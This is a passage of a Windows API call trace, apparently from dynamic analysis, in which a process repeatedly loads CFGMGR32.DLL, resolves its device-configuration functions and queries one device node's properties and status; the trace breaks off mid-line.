[0243.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.224] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.225] malloc (_Size=0x18) returned 0x20abc281f60 [0243.225] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.228] malloc (_Size=0x48) returned 0x20abc27cf80 [0243.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4cbd930b, dwHighDateTime=0x1d9eb0c)) [0243.228] SetEvent (hEvent=0x248) returned 1 [0243.334] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.334] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.338] malloc (_Size=0x18) returned 0x20abc281f60 [0243.338] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.339] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4cce3f47, dwHighDateTime=0x1d9eb0c)) [0243.339] SetEvent (hEvent=0x248) returned 1 [0243.342] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.342] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.400] malloc (_Size=0x18) returned 0x20abc281ac0 [0243.400] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.401] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4cd7c8e4, dwHighDateTime=0x1d9eb0c)) [0243.401] SetEvent (hEvent=0x248) returned 1 [0243.405] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.410] malloc (_Size=0x18) returned 0x20abc281ce0 [0243.410] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0243.411] malloc (_Size=0x48) returned 0x20abc27cf80 [0243.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4cda2eed, dwHighDateTime=0x1d9eb0c)) [0243.411] SetEvent (hEvent=0x248) returned 1 [0243.417] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.417] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.418] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.419] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.420] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.421] malloc (_Size=0x18) returned 0x20abc282000 [0243.421] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.426] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4cdc8dbd, dwHighDateTime=0x1d9eb0c)) [0243.426] SetEvent (hEvent=0x248) returned 1 [0243.570] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.570] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.574] malloc (_Size=0x18) returned 0x20abc281d60 [0243.574] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x35, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0243.575] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4cf21ac6, dwHighDateTime=0x1d9eb0c)) [0243.575] SetEvent (hEvent=0x248) returned 1 [0243.582] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.582] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.586] malloc (_Size=0x18) returned 0x20abc281fc0 [0243.587] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x35, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0243.587] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4cf466e9, dwHighDateTime=0x1d9eb0c)) [0243.587] SetEvent (hEvent=0x248) returned 1 [0243.592] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.592] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0243.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0243.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0243.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0243.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0243.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0243.597] malloc (_Size=0x18) returned 0x20abc281bc0 [0243.598] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0243.598] malloc (_Size=0x48) returned 0x20abc27cb20 [0243.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4cf6c802, dwHighDateTime=0x1d9eb0c)) [0243.599] SetEvent (hEvent=0x248) returned 1 [0243.606] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.606] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.607] GetProcAddress 